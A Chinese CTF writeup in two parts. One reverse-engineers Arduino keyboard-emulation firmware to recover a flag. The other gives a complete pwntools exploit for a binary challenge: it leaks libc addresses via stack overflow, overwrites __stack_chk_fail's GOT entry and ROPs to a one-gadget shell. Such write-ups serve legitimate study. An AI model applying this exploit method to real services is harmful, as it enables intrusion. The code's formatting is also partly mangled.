pwnhub年前最后一战——“血月归来”writeup

一共两题,一题是固件逆向,一题是pwn。

key–逆向

这是一个嵌入式固件的逆向。

固件逆向,第一要做的就是确定片型和板型。 确定片型可以知道硬件资源,通用寄存器及内外部IO寄存器地址及指令集。 确定板型能知道外部器件及固件大致可能的功能。

因为之前碰巧在flare-on做过一次,还是用仿真投机出来的,这次也想偷懒来投机一把。

没有直接IDA,先找工具把hex转成bin,用16进制软件打开,发现有Arduino的字样。上次接触的是Arduino UNO,试了下以前的工程加载固件,提示ram超范围了。

虽然对arduino各板型不熟,但有一点可以肯定,那就是用了atmel的片子。用ida加载,选择atmega32_l没出什么问题,于是就开始上atmel的官网进行查找芯片,最后确定芯片是 ATMEGA32u4,下面就是找板子了。

在这又花了很多功夫,一度怀疑 arduino 是扰乱视线了,因为找到了 GH60 的资料,感觉是改的它的固件,让程序自动输出字符。照着 GH60 的原理图做了仿真,并没有反应。

又尝试看没有接触过的avr指令集代码,突然发现 ArduinoMicro 的字样,于是搜了下,这是Arduino的一个板型。看介绍猜想是模拟键盘打字,因为鼠标模拟在陌生环境下不好实现功能。

于是乎,照着板子的功能继续画图仿真,就是USB没有反应。用arduino的例程编译成固件,再仿真还是USB没有反应。又去查资料,原来proteus的USB仿真还没有支持这个片子。折腾了一天。

现下只有两个办法,一是找硬件跑跑;二是看代码。

多渴望有一个硬件啊,然而并没有。只能啃代码了。

找了点资料,通过阅读 ram 的初始化部分代码,按初始化结果重新创建 ram segmentation。并简单更改了下寄存器的名。

具体做法是,建一个文件,按初始化的结果及相应地址偏移写文件。注意 ATMEGA32U4的ram大小是2.5k,地址从0x100开始,所以最后文件大小为0xa00+0x100=0xb00,数据从0x100开始写,与上图中的代码对应。

IDA载入固件文件,处理器选 AtmelAVR[AVR],具体型号选 Atmega32_L。因为两者内存布局相差不大,ROM大小也一致。 shift+F7调出 segmentation视图,选择 RAMseg删除。打开 File->Loadfile->Additionalbinary file,选择刚才为ram建的文件,参数如下。再seg进行重新命名。

加载完RAM之后,寄存器的名字就都没有了。现在要修改ida目录下的cft/avr.cfg 找到 atmega32_l的部分复制一份对照datasheet进行修改。做题时我没有进行配置文件修改,直接用的此配制,虽后来在ida中进行了修改,但是这种修改只对外部IO寄存器起作用,其它的代码中的显示不会改变。

修改好后,进入 option的 Analysis选项卡,点开 Processorspecific analysis option选择刚修改好片型配置。这样就能重新定义寄存器名了。

以上有点啰嗦,仅供没接触过此类的童鞋参考。下面进行程序简要分析。

此片型硬件资源有限,结合之前模拟键盘的猜想,到此应该比较确定了。所以当时我的想法是从USB着手找关键代码。

AVR指令集没有接触过,就一步步对着datasheet理代码,从USB寄存器入手,找到了USB相关操作的代码,然后溯源,找到USB输出的部分,到键盘模拟控制部分,直至主功能函数。最后发现主功能函数就紧接在 ram初始化之后,真是远在天边,近在眼前。现在可以看出,arduino的固件是静态编译的单文件启动固件,且代码量不大,其主函数入口就在 reset函数的最后部分。

下面的图就是溯源过程。这里已经追踪到了部分键盘模拟动作的功能实现。

再往上一层,就能到达主功能函数及模拟输出字符串的键盘动作。

下面看看主程序。先设置USB端口,这部分不看,贴下主功能函数的部分代码。

ROM:0A37 loc_A37: ; CODE XREF: func_how_long+9EROM:0A37 ldi r22, 0xB8ROM:0A38 ldi r23, 0xBROM:0A39 ldi r24, 0ROM:0A3A ldi r25, 0ROM:0A3B call func_maybe_sleep_or_notROM:0A3D ldi r22, 0x83ROM:0A3E ldi r24, 0xA6ROM:0A3F ldi r25, 2ROM:0A40 call func_Keyboard_press ; KEY_LEFT_GUIROM:0A42 ldi r22, 0xF4ROM:0A43 ldi r23, 1ROM:0A44 ldi r24, 0ROM:0A45 ldi r25, 0ROM:0A46 call func_maybe_sleep_or_notROM:0A48 ldi r22, 0x72 ; 'r'ROM:0A49 ldi r24, 0xA6ROM:0A4A ldi r25, 2ROM:0A4B call func_Keyboard_press ; r runROM:0A4D ldi r22, 0xF4ROM:0A4E ldi r23, 1ROM:0A4F ldi r24, 0ROM:0A50 ldi r25, 0ROM:0A51 call func_maybe_sleep_or_notROM:0A53 ldi r22, 0x83ROM:0A54 ldi r24, 0xA6ROM:0A55 ldi r25, 2ROM:0A56 call func_Keyboard_releaseROM:0A58 ldi r22, 0x72 ; 'r'ROM:0A59 ldi r24, 0xA6ROM:0A5A ldi r25, 2ROM:0A5B call func_Keyboard_releaseROM:0A5D ldi r22, 0xF4ROM:0A5E ldi r23, 1ROM:0A5F ldi r24, 0ROM:0A60 ldi r25, 0ROM:0A61 call func_maybe_sleep_or_notROM:0A63 ldi r22, 0x81ROM:0A64 ldi r24, 0xA6ROM:0A65 ldi r25, 2ROM:0A66 call func_Keyboard_press ; KEY_LEFT_SHIFT switch to english inputROM:0A68 ldi r22, 0xF4ROM:0A69 ldi r23, 1ROM:0A6A ldi r24, 0ROM:0A6B ldi r25, 0ROM:0A6C call func_maybe_sleep_or_notROM:0A6E ldi r22, 0x81ROM:0A6F ldi r24, 0xA6ROM:0A70 ldi r25, 2ROM:0A71 call func_Keyboard_releaseROM:0A73 ldi r22, 0xF4ROM:0A74 ldi r23, 1ROM:0A75 ldi r24, 0ROM:0A76 ldi r25, 0ROM:0A77 call func_maybe_sleep_or_notROM:0A79 ldi r24, 0x3D ;ROM:0A7A ldi r25, 1ROM:0A7B call func_keyboard_print_ln ; output [13d] notepadROM:0A7D ldi r22, 0xF4ROM:0A7E ldi r23, 1ROM:0A7F ldi r24, 0ROM:0A80 ldi r25, 0ROM:0A81 call func_maybe_sleep_or_notROM:0A83 ldi r22, 0xB0ROM:0A84 ldi r24, 0xA6ROM:0A85 ldi r25, 2ROM:0A86 call func_Keyboard_press ; returnROM:0A88 ldi r22, 0xF4ROM:0A89 ldi r23, 1ROM:0A8A ldi r24, 0ROM:0A8B ldi r25, 0ROM:0A8C call func_maybe_sleep_or_notROM:0A8E ldi r22, 0xB0ROM:0A8F ldi r24, 0xA6ROM:0A90 ldi r25, 2ROM:0A91 call func_Keyboard_releaseROM:0A93 ldi r22, 0xF4ROM:0A94 ldi r23, 1ROM:0A95 ldi r24, 0ROM:0A96 ldi r25, 0ROM:0A97 call func_maybe_sleep_or_notROM:0A99 ldi r24, 0xC3ROM:0A9A ldi r25, 1ROM:0A9B call func_keyboard_print_ln ; 3...ROM:0A9D ldi r22, 0xF4ROM:0A9E ldi r23, 1ROM:0A9F ldi r24, 0ROM:0AA0 ldi r25, 0ROM:0AA1 call func_maybe_sleep_or_notROM:0AA3 ldi r24, 0x45 ; 'E'ROM:0AA4 ldi r25, 1ROM:0AA5 call func_keyboard_print_ln ; 1...ROM:0AA7 ldi r22, 0xF4ROM:0AA8 ldi r23, 1ROM:0AA9 ldi r24, 0ROM:0AAA ldi r25, 0ROM:0AAB call func_maybe_sleep_or_notROM:0AAD ldi r24, 0xF8ROM:0AAE ldi r25, 1ROM:0AAF call func_keyboard_print_lnROM:0AB1 ldi r22, 0xF4ROM:0AB2 ldi r23, 1ROM:0AB3 ldi r24, 0ROM:0AB4 ldi r25, 0ROM:0AB5 call func_maybe_sleep_or_notROM:0AB7 ldi r24, 0xE3ROM:0AB8 ldi r25, 1ROM:0AB9 call func_keyboard_print_lnROM:0ABB ldi r22, 0xF4ROM:0ABC ldi r23, 1ROM:0ABD ldi r24, 0ROM:0ABE ldi r25, 0ROM:0ABF call func_maybe_sleep_or_notROM:0AC1 ldi r22, 0xB2ROM:0AC2 ldi r24, 0xA6ROM:0AC3 ldi r25, 2ROM:0A** call func_Keyboard_press ; backspaceROM:0AC6 ldi r22, 0xB2ROM:0AC7 ldi r24, 0xA6ROM:0AC8 ldi r25, 2ROM:0AC9 call func_Keyboard_releaseROM:0ACB ldi r22, 0xF4ROM:0ACC ldi r23, 1ROM:0ACD ldi r24, 0ROM:0ACE ldi r25, 0ROM:0ACF call func_maybe_sleep_or_notROM:0AD1 ldi r22, 0xB2ROM:0AD2 ldi r24, 0xA6ROM:0AD3 ldi r25, 2ROM:0AD4 call func_Keyboard_press ; backspaceROM:0AD6 ldi r22, 0xB2ROM:0AD7 ldi r24, 0xA6ROM:0AD8 ldi r25, 2ROM:0AD9 call func_Keyboard_release

以上代码是键盘模拟操作的开头一部分。

  • 先按下 win+r,运行

  • 再按shift,确保是英文输入状态

  • 然后调用一个模拟发送字符串的函数发送 notepad,回车。运行了记事本程序

  • 再在记事本中模拟输入,包括不时出现的退格键

  • 程序最后循环输入退格键,删除全部的输入

再看下模拟发送字符串的部分。

ROM:08D8 func_keyboard_print_ln: ;ROM:08D8ROM:08D8 sbiw r24, 0 ;address isn't valid,jmp retROM:08D9 breq loc_8E7ROM:08DA movw r30, r24 ; Z=addr_targetROM:08DBROM:08DB loc_8DB:ROM:08DB ld r0, Z+ ; get byteROM:08DC tst r0ROM:08DD brne loc_8DB ; get byteROM:08DE sbiw r30, 1 ; Z-1ROM:08DF movw r20, r30ROM:08E0 sub r20, r24ROM:08E1 sbc r21, r25ROM:08E2 movw r22, r24 ; r22 = length of bytesROM:08E3 ldi r24, 0xA6ROM:08E4 ldi r25, 2ROM:08E5 jmp loc_1B1ROM:08E7 ; ---------------------------------------------------------------------------ROM:08E7ROM:08E7 loc_8E7:ROM:08E7 ldi r24, 0ROM:08E8 ldi r25, 0ROM:08E9 retROM:08E9 ; End of function func_keyboard_print_lnROM:01B1 loc_1B1:ROM:01B1 push r12ROM:01B2 push r13ROM:01B3 push r14ROM:01B4 push r15ROM:01B5 push r16ROM:01B6 push r17ROM:01B7 push r28ROM:01B8 push r29ROM:01B9 movw r12, r24 ; addrROM:01BA movw r14, r20 ; lengthROM:01BB movw r16, r22 ; target_addrROM:01BC ldi r28, 0ROM:01BD ldi r29, 0ROM:01BEROM:01BE loop_send:ROM:01BE cp r28, r14ROM:01BF cpc r29, r15ROM:01C0 breq loc_1D2 ; if target_addr[i] == 0 ,retROM:01C1 movw r26, r16 ; X=target_addrROM:01C2 ld r22, X+ ; r22=[target_addr]ROM:01C3 movw r16, r26ROM:01** movw r26, r12 ; X=addr=0x2a6ROM:01C5 ld r30, X+ROM:01C6 ld r31, X ; Z=[addr]=0x135ROM:01C7 ld r0, Z+ROM:01C8 ld r31, Z ; Z=[Z]=0x81bROM:01C9 mov r30, r0ROM:01CA movw r24, r12 ; r24=addrROM:01CB icall ; call 0x81bROM:01CC or r24, r25ROM:01CD brne loc_1D0ROM:01CE movw r14, r28ROM:01CF rjmp loc_1D2ROM:01D0 ; ---------------------------------------------------------------------------ROM:01D0ROM:01D0 loc_1D0:ROM:01D0 adiw r28, 1 ;i++ROM:01D1 rjmp loop_send ; loop send byteROM:01D2 ; ---------------------------------------------------------------------------ROM:01D2ROM:01D2 loc_1D2:ROM:01D2 movw r24, r14ROM:01D3 pop r29ROM:01D4 pop r28ROM:01D5 pop r17ROM:01D6 pop r16ROM:01D7 pop r15ROM:01D8 pop r14ROM:01D9 pop r13ROM:01DA pop r12ROM:01DB retROM:01DB ; END OF FUNCTION CHUNK FOR func_keyboard_print_ln
  • 函数先检查传送的字符串地址是否有效,无效则返回

  • 再计算字符串长度,并跳到0x1B1

  • 取出一个字符

  • 通过计算得到目标函数地址,0x81b,此函数就是模拟键盘按键及释放的过程,发送一个字符

  • 检查字符串是否发送完成,未完成取下一个字符发送

最后删除前的文本为

3111343348733(2211(23523919819+1)(27(235133159+1)(2723676771193+3)+1)(233530733967325333847543(2255211263134047741593(223319*710989+1)+7)+1)+1)

按计算式计算出结果,并转成字串为: flag{th3r3_ar3_s0m3_amaz1n9_th1ngs}。

annul–pwn

查下保护:

RELRO:    Partial RELRO Stack:    Canary found NX:       NX enabled PIE:      PIE enabled

此题共有两处存在栈溢出。分别在rename及get packet输入message时。

信息泄露点有两个,一个是 show money时的金币数目,而且此处开始能把初始的指针地址泄露出来;另一个是 printpacket。因为与此相关的两个指针都可以通过 rename覆盖。

只是另一个溢出不知道怎么用。当时看题粗糙, main的 trycatch没看到,后面就根本不会去看了。

我的思路是:先把表示金币总数所在的 BSS指令泄露出来,然后再泄露got表中的Libc函数地址。

接下来还有两条路:一是将 puts的got表改了;二是绕过canary,构造rop。

但是写got表只有一种办法,就是通过金币总数写。 getpacket一次加一个不大于100的随机数。

查了下, puts的偏移在 system后面,随机数也可以预测,算下来,把 puts的got改成 system或其附近的,要 getpacket8000万次左右。时间代价太大,行不通。翻看代码,确实没能找出这办法可行的路径。

于是就想绕过canary,构造rop。将 __stack_chk_fail在got表的值改成一个其原始值后面一点的 c3所在的地址,让其直接返回就可绕过。这次 getpacket的次数大多在几十次。可行。

下面是完整exp。

#!/usr/bin/env python# -*-coding:utf8 -*-from pwn import *import re,oscontext.arch = 'amd64'if len(sys.argv) < 2: p = process('./annual') context.log_level = 'debug'else:  p = remote(sys.argv[1], int(sys.argv[2]))  # p = remote('52.80.154.150' ,9999)  def login(name):  p.recvuntil('Give me your name!n')  p.sendline(name)  def rename(name):  p.recvuntil('B)yen')  p.sendline('R')  p.recvuntil('Now give me your new name!n')  p.send(name)  def show_money():  p.recvuntil('B)yen')  p.sendline('S')  p.recv(32)  data= p.recvuntil('have $')[:-7]  money = p.recvline()[:-1]  return data,money  def print_packet():  p.recvuntil('B)yen')  p.sendline('P')  def get_packet(message):  p.recvuntil('B)yen')  p.sendline('G')  p.recvuntil('You get $')  data = p.recvline()[:-1]  p.recvuntil('Now input your message!n')  p.sendline(message)  return data  def bye():  p.recvuntil('B)yen')  p.sendline('B')  total_money_off = 0x202238 puts_got_plt_off = 0x202028 fputs_got_plt_off = 0x202050 stack_chk_fail_got_plt_off = 0x202060  system_off = 0x45390 puts_off = 0x6f690 fputs_off = 0x6e030 one_shot_off = 0x4526A binsh_off = 0x18cd17  # elf = ELF('/lib/x86_64-linux-gnu/libc.so.6') # read_off = elf.symbols['read'] # puts_off = elf.symbols['puts'] # fputs_off = elf.symbols['fputs'] # system_off = elf.symbols['system'] # stack_chk_fail_off = elf.symbols['__stack_chk_fail'] # one_shot_off = system_off-0x114 # binsh_off = elf.search('/bin/sh').next() # pop_ret_off = 0x22b9a  login('A'*31) (ret1,ret2) = show_money() total_money_addr = u64(ret1.ljust(8,'x00')) puts_got_plt_addr = total_money_addr-total_money_off+puts_got_plt_off fputs_got_plt_addr = total_money_addr-total_money_off+fputs_got_plt_off stack_chk_fail_addr = total_money_addr-total_money_off +stack_chk_fail_got_plt_off log.info('total_money_addr :'+hex(total_money_addr )) log.info('puts_got_plt_addr :'+hex(puts_got_plt_addr)) log.info('fputs_got_plt_addr:'+hex(fputs_got_plt_addr))  rename('A'*64+p64(total_money_addr)+p64(fputs_got_plt_addr))  print_packet() p.recvuntil('>') data = p.recvline()[:-1] fputs_addr = u64(data.ljust(8,'x00')) log.info('fputs_addr:'+hex(fputs_addr ))  system_addr = fputs_addr -fputs_off+system_off one_shot_addr = fputs_addr -fputs_off+one_shot_off binsh_addr = fputs_addr -fputs_off+binsh_off log.info('system_addr :'+hex(system_addr))  l_money = [] for i in range(4):  l_money.append(get_packet('1'))  run_str = './a.out '+' '.join(l_money)+' '+str(299) rlog = os.popen(run_str).read() temp = re.findall('loops:(d+)n',rlog)[0] loops= int(temp) temp = re.findall('index:(d+)n',rlog)[0] n_index = int(temp) log.info('get packet times:'+str(loops)) log.info('skip times:'+str(n_index-1)) i = 0 while True:  payload = 'A'*64+p64(stack_chk_fail_addr)+p64(0)+p64(0)  rename(payload)  get_packet('1') i +=1  if i==loops:  break  for i in range(n_index-1):  payload = 'A'*64+p64(total_money_addr)+p64(0)+p64(0)  rename(payload)  get_packet('1') payload = 'A'*64+p64(stack_chk_fail_addr)+p64(0)+p64(0) rename(payload)get_packet('1') payload = 'A'*64+p64(total_money_addr)+p64(0)+'A'*88+p64(one_shot_addr)+'A'*48+p64(binsh_addr)+p64(0) rename(payload)  bye()  log.info('get shell')  p.interactive()

此题也可泄露栈地址,再泄露canary然后ROP。

还有一种方法,就是利用C++的异常处理过程。

本文作者:ChaMd5安全团队

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/68026.html

Tags:
评论  (0)
快来写下你的想法吧!

ChaMd5安全团队

文章数:85 积分: 181

www.chamd5.org 专注解密MD5、Mysql5、SHA1等

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号